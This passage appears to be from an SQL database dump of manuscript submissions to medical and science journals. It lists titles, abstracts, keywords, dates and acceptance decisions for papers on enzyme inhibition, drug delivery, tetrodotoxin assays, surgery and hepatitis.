\"one-size-fits-all\" treatments, potentially reducing adverse side effects and improving patient outcomes. Genomic testing, which analyzes a patient\'s DNA, has been a significant development in personalized medicine and is already being used in various medical fields such as oncology, cardiology, and neurology. Despite challenges such as cost and accessibility, the potential benefits of personalized medicine are significant, including reducing healthcare costs and leading to a healthier population.','',5447,NULL,'2023-04-15',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13668,13810,975,0,'ipjbs-23-13668','COMPARATIVE α-AMYLASE AND α-GLUCOSIDASE INHIBITORY POTENCY AND MODE OF INHIBITION OF AQUEOUS LEAF EXTRACTS OF Acalypha wilkesiana ‘green’ AND Acalypha wilkesiana ‘red’',NULL,14,0,'','The objective of this study was to investigate comparatively the inhibitory potency and mode of inhibition of aqueous leaf extracts of Acalypha wilkesiana ‘green’ (A.w.g) and Acalypha wilkesiana ‘red’ (A.w.r) on alpha glucosidase from Saccharomyces cerevisiae and alpha amylase from Aspergillus oryzae with a view to establishing the better antidiabetic plant. This study employed para-nitrophenylglucopyranoside (PNPG) and starch as substrates while Acarbose was used as reference. We also qualitatively screened for important phytochemicals as well as the phenolic contents of the extracts. The extracts contained alkaloid, flavonoid, saponin, tannin, steroid, carotenoid and terpenoid while anthraquinone was absent. Aqueous extract of A.w.r had the higher total phenolics (total phenol: 35.75±3.39mgGAE/g and total flavonoid: 350.63±5.01mgQE/g). A.w.r expressed the higher inhibitory effect against alpha glucosidase and alpha amylase with IC50 values of 85.6µg/ml and 75.6 µg/ml respectively in a near competitive fashion while the A.w.g exhibited mixed non-competitive inhibition of alpha amylase and alpha glucosidase. We can therefore deduce from this study that aqueous extract of Acalypha wilkesiana ‘red’ is a more potent inhibitor of alpha amylase and alpha glucosidase.','Acalypha wilkesiana, alpha amylase, alpha glucosidase, antidiabetic',4089,NULL,'2023-04-16',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13669,13811,1020,0,'ipmedt-23-13669','By Preventing -Glucosidase and -Amylase Noncompetitively, Phenols from Sterculia Nobilis Smith Pericarp In-Products Postpone the Digestion of Carbohydrates',NULL,5,0,'','The functional activity and phytochemical makeup of Sterculia nobilis Smith pericarp, a byproduct of this tropical and subtropical fruit, have not received much attention. The LC-ESIMS/MS-MRM technique was employed in this study to analyse 16 phenolic compounds in the ethyl acetate fraction of the Sterculia nobilis Smith pericarp extract on a qualitative and quantitative level. The main phenolics in the EAF were luteolin-7-O-glucoside, epicatechin gallate, and apigetrin. Models of inhibition of -glucosidase and -amylase were used to investigate the hypoglycemic action of EAF. With half-inhibitory concentration levels, EAF inhibited -glucosidase and -amylase activities in a reversible and non-competitive manner. The EAF\'s enzyme inhibition mechanism was investigated using spectroscopic techniques. The outcomes demonstrated that EAF changed the secondary structure and microenvironment of the enzymes\' tyrosine and tryptophan residues. This study shows that the pericarp of Sterculia nobilis Smith can be used as a low-cost raw material for the manufacturing of functional meals. Internal organ damage brought on by hyperglycemia can result in heart attacks, kidney failure, stroke, blindness, and kidney failure. As a result, diabetes has grown to be a serious hazard to human health and must be treated with long-term usage of hypoglycemic medications. These medications do have negative effects, though, include weight gain, upper respiratory tract infections, hypoglycemia, and gastrointestinal issues. As a result, changing one\'s lifestyle has received increasing attention as a means of managing and preventing diabetes. The American Diabetes Association advises dietary and nutritional measures to regulate blood sugar levels. The two most significant enzymes involved in the digestion of carbohydrates in the gut are -amylase and -glucosidase. The first starch-hydrolyzing enzyme in the digestive tract is salivary -amylase.  By cleaving glycosidic bonds, salivary and pancreatic -amylase can transform starch into oligosaccharides. linkages Four catalytic subunits with 1,2, 1,4, and 1,6 hydrolyzing activity make up -glucosidase.','Sterculia nobilis Smith pericarp; Phenolics ; α-Glucosidase; α-Amylase; Postprandial hyperglycemia',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13670,13812,1020,0,'ipmedt-23-13670','Tetracyclines and macrolides\' short-term effects on methanogenic activity specifically and swine biodegradability',NULL,5,0,'','Few research have looked at kinetic models that relate to how antibiotics affect acetoclastic methanogenesis and the biodegradability of swine wastewater, but these models can be helpful for improving and correctly operating anaerobic systems. Numerous researchers have assessed how well antibiotics work alone or, rarely, in combination to block this key pathway for the production of methane. In order to assess their inhibitory effects, the two tetracyclines oxytetracycline and tetracycline as well as the macrolide tylosin were administered singly as well as in combination. While the lower one was on methane production at the assays with swine wastewater showed that OTC and TCN had the highest inhibition on BD at 45 days, short-term inhibition assays are useful to evaluate the antibiotics impact detected on swine wastewater specific methanogenic activity and biodegradability at different concentrations of antibiotics. respectively. As anticipated, the highest concentrations of OTC and MIX caused the greatest reduction in methane generation in the assays, while TYL had no effect on methane production in any of the assays. OTC was detected in methane generation in the SMA and BD assays, respectively, while the results for specific activity demonstrated half-maximal inhibitory OTC doses in the SMA and BD assays, respectively. These findings show that antibiotics have a greater impact on biodegradability and specific methanogenic activity than methane generation, and that inhibition was considered to be non-competitive.','Antibiotics for veterinary uses;  Acetoclastic methanogenesis; Half-maximal inhibitory concentration; Swine wastewater; Synergistic effect; Uncompetitive inhibition',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13671,13813,1020,0,'ipmedt-23-13671','Delivery of Cd47-Targeted Drugs with Precision and the Invention of Anti-Phagocytic Delivery Systems: The Cd47-Sirp Axis in Cancer Therapy',NULL,5,0,'','Humans, mice, and other mammals express CD47 as a \"marker of self\" on the surface of every cell to prevent the phagocytic death of healthy cells by connecting with signal regulating protein on macrophages and dendritic cells and conveying a \"don\'t eat me\" signal. Unfortunately, a variety of cancer cells use this \"don\'t eat me\" signal to their advantage by overexpressing CD47 on their surface in order to circumvent immune surveillance and macrophage detection. As a result, blocking the CD47-SIRP axis may be a promising therapeutic target for the treatment of cancer. However, because to the broad expression of CD47 in normal tissues, CD47-targeted medicines can most likely result in major side effects including anaemia; hence, the precise administration of CD47-targeted therapeutics is essential. contribute to enhancing clinical effectiveness and minimising negative effects. The \"don\'t eat me\" signal can also be used to create anti-phagocytic medication delivery systems that will lengthen blood circulation times and increase tumour site accumulation. The CD47-SIRP axis has two components that are the subject of this review: the precise delivery of CD47-targeted medicines by well-designed delivery systems, and the thoughtful design of CD47-based anti-phagocytic drug delivery systems.','CD47‐SIRPα axis, Drug delivery systems; Immunotherapy; Anti‐phagocytic',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13672,13814,1020,0,'ipmedt-23-13672','Young Mouse Model High-Frequency Ultrasound-Guided Intrathecal Injections: Drug Delivery That Concentrates On the Central Nervous System  ',NULL,5,0,'','Intrathecal injections are crucial for delivering anesthetic, analgesic, or chemotherapy medications to the central nervous system because they allow them to pass the blood-brain barrier. The inability to see the tiny target zone during injection makes it difficult to administer medications via this route in animal studies. Therefore, knowledge of the indirect assessment of vertebral and spinal cord architecture as well as the acquisition of advanced procedural skills are necessary for successful medication delivery. These problems are further exacerbated in studies modelling paediatric drug administration, where the animal is significantly smaller, and in studies using small animals like mice. new approach We have created a technique that uses high-frequency ultrasound imaging to visualise and target the lumbar intrathecal region for injections in order to solve these problems. The method is demonstrated in mice starting on the day after birth. Gadolinium-based magnetic resonance imaging contrast agent was intrathecally administered to test the approach, and the subsequent brain delivery was later confirmed by MRI. The brain was distributed by the MRI contrast agent after successful intrathecal injections. In this investigation, we managed to target 20 animals with an 80% success rate. Conclusion: The new method is anticipated to be more reliable than unguided approaches and convenient for drug delivery to the central nervous system in rodent research. This is a crucial advancement that will enable intrathecal delivery in paediatric mouse models.','Intrathecal; Mouse; Ultrasound; Magnetic resonance imaging; Central nervous system; Drug delivery',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13673,13815,1020,0,'ipmedt-23-13673','In osteoporotic ovariectomized rats, bone-targeting PLGA-derived lipid treatment delivery system decreases bone loss',NULL,5,0,'','The distribution of anti-osteoporotic medications at the right dose has proven difficult due to the lack of safety, efficacy, and specificity. In our research, bone-specific polyaspartic acid [(Asp)8-DNPs] was added to cathepsin K inhibitor loaded poly derived lipid hybrid nanoparticles to cure osteoporosis. DNPs shown their affinity for binding to hydroxyapatite and were successful in releasing cathepsin K inhibitors over the course of up to 5 days. The tartrate-resistant acid phosphatase activity and resorption-related genes in osteoclasts were drastically reduced by cathepsin K inhibitor loaded (Asp)8-DNPs. The tibia and femur of animals showed high levels of (Asp)8-DNP accumulation, as well as increased trabecular bone mass and more organised three-dimensional architecture in osteoporotic rat models. Herein, the bone targeted drug delivery system show its potential in treatment of osteoporosis.','Bone-targeting; Polyaspartic acid peptides; Drug delivery system; Osteoporosis; Anti-osteoporosis drug',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13674,13816,1020,0,'ipmedt-23-13674','A Knowledge from a Molecular Docking Study on the Mycobacterium Tb Arabinosyltransferase C Enzyme as a Possible Therapeutic Target',NULL,5,0,'','One of the main obstacles to treating and curing tuberculosis is the fact that Mycobacterium tuberculosis is multi-drug resistant. Numerous anti-tubercular medications lack effectiveness as a result of M. tb\'s established drug resistance mechanism. Therefore, research has been done globally to create potent anti-TB medications to enhance the treatment of these strains. Due to a lack of a structure-based approach, traditional drug development methods have been shown to be ineffective in the development of broad-spectrum drugs. In this context, numerous research have been carried out and a number of drug target sites that affect drug-resistant M.tb strains have been found. The goal of this study was to determine how the two current medicines and five modified compounds produced from ethambutol interacted with the protein Arabinosyltransferase C. With AutoDock, a molecular docking study can determine affinities and modes of binding. Emb1 and Emb3, which have different binding affinities, can be thought of as potential inhibitors of Arabinosyltransferase C in Mycobacterium TB, which is in charge of cell wall formation, according to analysis of a comparison study of the available medication. The information presented may be further tested experimentally for use in the development of new drugs to fight tuberculosis and further the study of effective antimyco bacterial techniques.','Pharmaceutical chemistry; Binding affinity; Multi-drug resistant; Molecular docking; Anti-TB drugs; Tuberculosis ',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13675,13817,1020,0,'ipmedt-23-13675','Photoinitiated Copolymerization Provides For the Quick Creation of Geometric Sulfobetaine Vinylimidazole-Based Monoliths for Hydrophilic Interaction Chromatography',NULL,5,0,'','Hydrophilic interaction chromatography has increased interest in zwitterionic sulfobetaine-based monolithic stationary phases. Using methanol and tetrahydrofuran as the porogenic system, a new hydrophilic polymeric monolith was created in this study by photo-initiated copolymerization using pentaerythritol triacrylate. It is noteworthy that the time needed to construct this unique monolith was only 5 min, which was much less time than was needed to prepare previously described sulfobetaine-based monoliths using traditional thermally started copolymerization. Additionally, the shape, permeability, porosity, mechanical strength column efficiency, and repeatability of these monoliths were all good. Mechanistic studies suggested that the retention of polar analytes on the zwitterionic SBVI-based monolith may be caused by potent hydrophilic and electrostatic interactions. The resultant monolith in particular demonstrated high anti-protein adhesion capability and low broad protein adsorption. These outstanding characteristics appear to favour its use in bioanalysis. As a result, the novel zwitterionic sulfobetaine-based monolith was effectively used for the efficient enrichment of N-glycopeptides from complicated samples as well as the highly selective separation of tiny bioactive molecules. In this study, we created a new, highly effective zwitterionic sulfobetaine-based monolith and created a faster, easier approach for creating zwitterionic monoliths. Zwitterionic sulfobetaine-based materials have been widely used as next-generation biomaterials to modify bio-interfaces in the disciplines of medicine, biology, bionics, and separation science because of their superior biocompatibility, hydrophilicity, and ultralow-fouling capability. In the case of poly(sulfobetaine), which is used as an implant material and device, these effects can be achieved by reducing protein adsorption, limiting cellular adhesion, and reducing inflammatory response. Various sulfobetaine-based packing columns, including commercial zwitterionic hydrophilic interaction liquid chromatography N,N-dimethyl-Nmethacryloxyethyl-N ethyldimethylammonio] propane sulfonate-, and acrylamide-type sulfobetaine-based stationary phases, have been developed for the separation of polar analytes or enrichment of glycopeptides via hydrophilic or electrostatic interactions','Zwitterionic monolith, Sulfobetaine, Photo-initiated copolymerization, Hydrophilic interaction chromatography, Complex sample',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13676,13818,1020,0,'ipmedt-23-13676','Using Tandem Mass Spectrometry and Liquid Chromatography in Conjunction with Hydrophilic Interaction/Ion-Exchange Mixed-Mode Solid Phase Extraction, It Is Simple and Quick To Determine the Presence Of Tetrodotoxin In Human Plasma',NULL,5,0,'','In this study, we created and validated a straightforward, quick, and sensitive LC-MS/MS approach for tetrodotoxin detection in human plasma. We compared three solid phase extraction carriers of the HILIC type with various stationary phase functional groups. The Siphila HILIX SPE plate with multi-carboxyl groups was ultimately chosen because it had a clearly superior extraction recovery of TTX (about 80% of recovery from plasma samples) compared to the other two, and because no significant matrix effects were noticed. This was thought to be the result of mixed-mode synergistic effects of hydrophilic interaction and ion exchange. Acetonitrile with 1% trichloroacetic acid was used to quickly precipitate a 100 mL sample of plasma, and the filtrates were then put onto a Siphila i HILIX 96 well SPE plate. TTX was extracted with 200 mL of 50% acetonitrile after being washed with 95% acetonitrile. LC-MS MS and the whole run duration on a BEH amide column were both immediately injected with trichloroacetic acid. of the elution solution. The procedure skips evaporation and ultrafiltration, which is straightforward and efficient. In positive mode, and were used to monitor the internal standard and TTX, respectively. The intra- and inter-assay accuracies of the method were in the ranges of 98.5%-99.8% and 98.8-99.5%, respectively, with the low limit of quantification. The method\'s good anti-interference property was demonstrated by the fact that biases of spiking analysis varied from -7.00% to 7.43% for healthy human plasma samples (RSDs 8.83%) and from -5.00% to 3.93% for hemolytic, high triglyceride, high cholesterol, and high bilirubin plasma samples. Human health is seriously threatened by tetrodotoxin. LC-MS MS and the whole run duration on a BEH amide column were both immediately injected with trichloroacetic acid of the elution solution. ','Tetrodotoxin; Hydrophilic-interaction/ion-exchange; Mixed-mode solid phase extraction; LC-MS/MS; Human plasma',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13677,13819,1020,0,'ipmedt-23-13677','Modern Developments and Emerging Directions in Hydrophilic Interaction Chromatography-Mass Spectrometry for Metabolomics and Proteomics',NULL,5,0,'','Proteomics and metabolomics have drawn more interest during the past ten years than any other -omics methods. Both methods have matured to the point where they are relevant in many clinical applications, including as the discovery of biomarkers, enhanced illness diagnosis, staging, and prognosis, as well as a greater understanding of many physiological processes. Due to its simplicity and reproducibility, reversed-phase liquid chromatography mass spectrometry is regarded analytically as the gold standard in proteomics and metabolomics. The complexity of the proteome cannot be resolved by RPLC-MS alone, because highly polar metabolites are often poorly preserved. Due to its orthogonal separation process, hydrophilic interaction chromatography in this context constitutes an appealing supplementary technique. This review provides a summary of the research literature regarding the use of HILIC-MS for proteomics and metabolomics. In contrast to proteomics, which discusses the analysis of complex samples and protein post-translational modifications therein using bottom-up, middle-up/down proteomics, and intact protein analysis, metabolomics focuses on the analysis of bioactive lipids, amino acids, organic acids, and nucleotides/nucleosides. The technical aspects of HILIC-MS utilisation in proteomics and metabolomics are covered in the review, with special focus paid to the stationary phases, mobile phase parameters, injection volume, and column temperature. Additionally shown and discussed are recent trends and advancements in the use of HILIC-MS in proteomics and metabolomics, emphasising the benefits the method can offer in addition to or as a complement to RPLC-MS as well as the current drawbacks and potential remedies. ','Electrostatic repulsion – hydrophilic; interaction chromatography; Hydrophilic interaction chromatography; HILIC-MS; Metabolomics; Proteomics',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13678,13820,1020,0,'ipmedt-23-13678','Impact of Ion-Pairing Agents on Hydrophilic-Interaction Liquid Chromatography High-Resolution Mass Spectrometry\'s Ability to Separate Intact Glycoproteins',NULL,5,0,'','High-resolution separations of glycoforms of glycoproteins that differ in the number of glycans are possible using hydrophilic-interaction liquid chromatography of intact proteins. To maximise the contribution of the hydroxyl groups of the sugars in the glycoprotein, it is necessary to shield the positively charged sites of the proteins with acidic ion-pair reagents in order to get effective separations. Here, we looked at how different IPRs with diverse physico-chemical characteristics, like hydrophobicity and acidity, affected the capillary-scale HILIC separation of intact. The use of fluoroacetic acid, difluoroacetic acid, trifluoroacetic acid, and heptafluorobutyric acid as diluents for sample preparation, solvents for loading samples onto a reversed-phase trap prior to the HILIC separation, and mobile-phase components for HILIC and HILICMS were all examined. To We used an acrylamide-based monolithic column to lessen the impact of ion-exchange interaction with the stationary phase (silica-based). We looked at how the various IPRs affected each phase in the separation of a mixture of proteins with varying sizes and hydrophilicity, as well as the separation of ribonuclease B\'s five glycoforms. It was established that the sample\'s IPR content had no impact on the separation or MS detection.','Tetrodotoxin; Hydrophilic-interaction/ion-exchange; Mixed-mode solid phase extraction; LC-MS/MS; Human plasma',5044,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-26',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13679,13821,326,0,'IPJUS-23-13679','In Regard To Head and Neck Oncology Surgery, Percutaneous Tracheostomy How Covid-19 Impacted Our Approach',NULL,5,0,'','Changes to the airway management procedure for patients undergoing major head and neck reconstructive surgery in our department were brought about by improved expertise with performing percutaneous tracheostomies during the COVID-19 epidemic. In place of the formerly preferred surgical tracheostomy, the majority of patients now undergo a percutaneous tracheostomy. This study\'s objective was to assess our experience with percutaneous tracheostomies while contrasting complication rates with those of surgical tracheostomies carried out in comparable circumstances. Between June 2020 and November 2021, all consecutive patients undergoing free flap reconstructive surgery for head and neck cancer were included, with 56 of them receiving a percutaneous tracheostomy. Age, BMI, concomitant conditions, complications, and data from 56 surgical tracheostomies performed on the same patients before the COVID-19 epidemic were also compared. adjustments in protocol that follow. The rate of complications was slightly lower in the percutaneous group (28.57% vs. 30.35%) than in the surgical tracheostomy group. Based on the analysis of the 16 patients in the percutaneous group who had issues, selection criteria for future percutaneous tracheostomy recipients were developed. These criteria take into account things like BMI, bleeding risk, and placement deformities. The COVID-19 epidemic has provided healthcare workers with a wealth of learning opportunities that will impact the way we practise. In our unit, this has required changing the standard tracheostomy technique used for intraoperative and postoperative airway care in major head and neck reconstruction surgery.','Tracheostomy; Cancer; Head and neck; Free flap reconstruction; Covid-19',5413,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13680,13822,326,0,'IPJUS-23-13680','Critically Ill Patients That Experienced the Gargle Test for Successful Extubation Treatments on the Head and Neck a New Test',NULL,5,0,'','For safe extubation and patient safety, it is essential to improve predictive methods for spotting airway edoema. With patients admitted to the critical care unit, the goal of this study was to analyse the diagnostic reliability of the Gargle test, a new tool for determining airway edoema and forecasting successful extubation. Patients who underwent head and neck procedures and were hospitalised to the ICU were included in this prospective observational study. The same technique was used to wean each patient.First, the quantitative and qualitative Cuff Leak Tests were used, and then the GT using 0.9% normal saline. Calculations were made to determine the accuracy, sensitivity, specificity, positive predictive value, and negative predictive value. The study has one hundred and eighteen participants. Low levels of agreement existed between GT and CLT. The GT in contrast to CLT. Exhibited better accuracy, specificity, and sensitivity. The predicted cut-off for GT was 16.5%. The GT is a quick, reliable test that can be used as a new test in the ICU to identify airway edoema and forecast when a patient undergoing head and neck surgery will be able to be safely extubated.','Extubation failure; Cuff leak test; Gargle test; Critical care',5413,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13681,13823,326,0,'IPJUS-23-13681','The Benefits of Telemedicine for Children Awaiting Surgery In the Covid-19 Era And Beyond',NULL,5,0,'','Before COVID-19, telemedicine was rarely used in paediatric surgery. Many institutions banned non-emergent clinic appointments to stop the virus\' spread, which led to a rise in the usage of telemedicine. Before and after COVID-19, we looked at the value of telemedicine for patients who visited a paediatric surgical clinic. The perspectives of patients and their carers who were having in-person evaluations by general paediatric surgeons prior to COVID-19 and those whose telemedicine appointments with paediatric surgical providers were completed during the COVID-19 period were surveyed to determine the potential value of telemedicine. 57 participants completed the pre-COVID survey, while 123 participants completed the post-COVID survey. White carers between the ages of 31 and 40 made up the majority of responders. Prior Only 26% of respondents to COVID-19 were aware of telemedicine, 25% said they had travelled more than 100 miles, and more than 50% had travelled more than 40 miles to their appointment. At least one adult had to miss time from work in 43% of homes, and more than 25% projected additional travel expenses of at least $30. Following a telemedicine visit during the COVID-19 period, 76% of patients said the care they received was excellent, 86% of them said they were extremely satisfied with their care, 87% said the visit was less stressful for their child than an in-person visit, and 57% said they would choose a telemedicine visit in the future. Telemedicine can be a better option than traditional in-person care for families looking for an alternative because it lessens the strain of travel without sacrificing quality of care. Level of care. Future study aimed at improving the experience for patients and physicians should consider telemedicine as a feasible alternative for children undergoing surgery. ','Pediatric surgery; Telemedicine; COVID-19; Caregiver; Satisfaction',5413,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13682,13824,326,0,'IPJUS-23-13682','An evaluation of conference involvement on gender disparity in paediatric surgery',NULL,5,0,'','Academic advancement depends on leadership at academic conferences. Although it has been shown in other subspecialties that women are underrepresented at academic surgical conferences, paediatric surgery has not been thoroughly investigated. This retrospective descriptive analysis, which covered the years 2003 to 2022, examined conference attendance at two national paediatric surgery annual conference programmes. Sex data from the moderator, speakers, and research presenters was gathered. The percentage of female participants in each of these roles was the main result.  A trend test was run to determine its relevance. A total of 523 sessions from 29 meetings were looked at. From 2003 to 2022, there was an overall rise in the percentage of women in all roles. There were statistically significant increases in the number of women in speaking and moderating roles, with the moderator role showing the biggest percentage increase. females have increased seven times over time. Additionally, there was a noticeable upward trend in the proportion of women who presented research. Over the past 20 years, gender representation in paediatric surgical conferences has improved. At academic conferences for paediatric surgery, efforts to continue granting women equal opportunity should be made since they currently account for around half of all participatory roles. ','Gender disparity; Women in surgery; Women in academic medicine ',5413,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13683,13825,959,0,'ipacr-23-13683','Endometrial Cancer',NULL,15,0,'','The uterus is where endometrial cancer usually develops. Foetal development takes place in the uterus, a hollow, pear-shaped pelvic organ. The layer of cells that makes up the lining (endometrium) of the uterus is where endometrial cancer first appears. Endometrial cancer is also referred to as uterine cancer.','',5453,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13684,13826,959,0,'ipacr-23-13684','Cancer immunotherapy',NULL,25,0,'','Immunotherapy is a cancer treatment. It boosts the immune system and helps the body detect and destroy cancer cells by using compounds created by the body or in a laboratory.  Immunotherapy can be used to treat a wide range of cancers. It can be used alone or with chemotherapy and/or other cancer therapies.','',5428,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13685,13827,959,0,'ipacr-23-13685','A multipurpose oncogenic route',NULL,15,0,'','Carcinogenesis is defined as unregulated cell development that has the potential to penetrate and disturb important tissue processes. This malignant process includes the emergence of \'unwanted\' gene changes that cause normal cells to convert, such as via over activation of pro-oncogenic pathways and inactivation of tumor-suppressive or anti-oncogenic pathways. It is now recognised that the number of main signalling pathways that govern oncogenesis is restricted; hence, blocking these pathways might lead to a cancer cure. However, practical applications of cancer treatments have fallen short of scientific aspirations. Numerous investigations have showed that many oncogenic-signalling elements have dual functions, promoting or suppressing cancer pathogenesis depending on tissue type, cancer stage, gene dosage, and interactions with other participants in carcinogenesis. The intricacy of oncogenic signalling complicates standard cancer therapy and necessitates extreme caution when developing an anticancer medication approach. With the notion of integrated cancer therapy, we suggest future oncology approaches. ','',5444,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13686,13828,959,0,'ipacr-23-13686','Docetaxel resistance in prostate cancer',NULL,15,0,'','Prostate cancer is one of the most common malignant tumours in the world, and it can occur as a result of genetic mutations and their accumulation when the tumour progresses to an advanced stage. Because of the absence of distinct symptoms in the early stages of prostate cancer, most cancer patients are discovered at advanced stages where tumour cells respond poorly to chemotherapy. Furthermore, genetic alterations in prostate cancer increase tumour cell aggressiveness. Docetaxel and paclitaxel are well-known drugs for prostate tumour treatment, and they have a similar role in cancer therapy that is based on preventing depolymerization of microtubules, disrupting microtubule equilibrium, and causing a delay in cell cycle progression. The current review seeks to provide insight on the mechanisms behind paclitaxel and docetaxel resistance in prostate cancer. When oncogenic factors such as CD133 are upregulated and PTEN, a tumour suppressor, is downregulated, prostate tumour cells become more malignant and can develop medication resistance. Furthermore, phytochemicals have been used as anti-tumor agents to reduce chemoresistance in prostate cancer. Naringenin and lovastatin are two anti-tumor drugs that have been utilised to slow the development of prostate cancer and improve treatment sensitivity. Furthermore, nanostructures like polymeric micelles and nanobubbles have been used to deliver anti-tumor drugs while reducing the danger of chemoresistance development. The current review highlights these topics in order to bring fresh insight on reversing treatment resistance in prostate cancer.','',5454,NULL,'2023-04-17',NULL,'Submitted',2,NULL,'2023-04-21',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13687,13829,45,0,'iphsj-23-13687','Sedentary Lifestyle in the Elderly and its Association with the Development of Cerebrovascular Disease',NULL,15,3,'','Sedentary lifestyles have become a common practice due to an increase in their incidence and prevalence. This emerging public health problem affects large sectors of the population, and due to its high frequency and its status as a risk factor for different diseases, it is the leading cause of death in several countries. It is therefore of utmost importance to determine the relationship between sedentary lifestyles and cerebrovascular diseases, to analyze their approach and to understand how these diseases can be corrected and prevented through physical activity and a good balanced diet.','Public health, Cerebrovascular, Sedentary lifestyles, Physical activities,\r\nWorld health organization',685,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13688,13830,639,0,'ipfs-23-13688','Divulging the genetic population structure of Indian salmon (Eleutheronema tetradactylum), through microsatellite markers.',NULL,14,0,'','Threadfins belong to the family Polynemidae under the order Perciformes. Eleutheronema tetradactylum popularly known as Indian salmon, is a commercially important and widely distributed protandric hermaphroditic fish along the Indian coasts which is also a candidate species for cage farming in India. E. tetradactylum is a highly remarkable species for its meat qualities and they exhibit rapid growth rate and reach maturity early in life. The species are cultured in most of Asian countries such as Malaysia, Singapore, Thailand, and China; and in India, efforts have been recently initiated to develop a brood bank of this species with an objective to produce and supply quality seeds around the year for promoting sea cage farming of this species. Appropriate data on the various stocks and genetic constitution of this species will be helpful in drawing management plans and in bringing it to mainstream aquaculture through genetic improvement of the brood stock. The present study aims at identifying the genetic stock structure of this species using polymorphic microsatellite markers. 12 polymorphic microsatellite primers were amplified in 560 individuals of E. tetradactylum from eight different geographic locations. The present study revealed the absence of significant genetic differentiation between east and west coast samples of E. tetradactylum, indicating that they belong to a single stock in Indian waters and hence need not be managed separately. ','Indian Salmon, Microsatellite, Genetic stock structure, Eleutheronema tetradactylum',1774,NULL,'2023-04-18',NULL,'Submitted',2,NULL,'2023-05-06',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13689,13314,45,0,'iphsj-23-13689','Improving linearity in health science Investigations ',NULL,14,0,'','Correlation and linear regression are frequently used to evaluate the degree of linear association between two variables and also to find the empirical relationship. However, violations of assumptions often give results which are not valid.  High value of correlation coefficient is taken as degree of linearity between two variables and attempt is made to fit linear regression equation. However, linearity implies high correlation but the converse is not true.  The paper describes with examples that concept of linearity is different from correlations, effect of violation of assumptions of correlations and linear regressions and suggests procedures to improve correlation between two variables which can be extended to multi variables.','Linearity; Correlation coefficient; Standard error; Normal distribution; Generalized inverse',686,NULL,'2023-04-18',NULL,'Submitted',7,NULL,'2023-05-08',NULL,1,1,'1','review alphabet , body, references ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13690,13831,251,0,'ipacm-23-13690','A Review on Hepatitis Virus',NULL,5,0,'','Hepatitis refers to an inflammation of the liver, which can be caused by a range of factors, including viruses, alcohol abuse, and certain medications. Viral hepatitis is a group of diseases caused by different viruses, including hepatitis A, B, C, D, and E. These viruses can lead to acute and chronic liver disease, liver cancer, and even death. Hepatitis A is transmitted through contaminated food and water or close contact with an infected person. The symptoms of hepatitis A include fever, fatigue, and loss of appetite, nausea, and jaundice. Most people recover from hepatitis A within a few weeks with no long-term effects, and there is a safe and effective vaccine available to prevent infection. Hepatitis viruses are a group of highly infectious and potentially life-threatening viruses that attack the liver and cause inflammation. There are five main types of hepatitis viruses: A, B, C, D, and E. Each type of hepatitis virus has different modes of transmission, clinical features, and outcomes. Hepatitis A and E are primarily transmitted through contaminated food or water, while hepatitis B, C, and D are transmitted through blood and body fluids.\r\nHepatitis A is typically a self-limiting disease, and most people recover without any complications. Hepatitis B, C, and D, on the other hand, can cause chronic infection, which can lead to liver cirrhosis, liver failure, and liver cancer. Hepatitis B is preventable through vaccination, while hepatitis C can be cured with antiviral therapy. There is currently no cure for hepatitis D, but treatment is available to manage symptoms and slow disease progression.','Viral hepatitis, blood and body fluids, Hepatitis A and E, hepatitis B, C, and D, symptoms of hepatitis, liver disease, liver 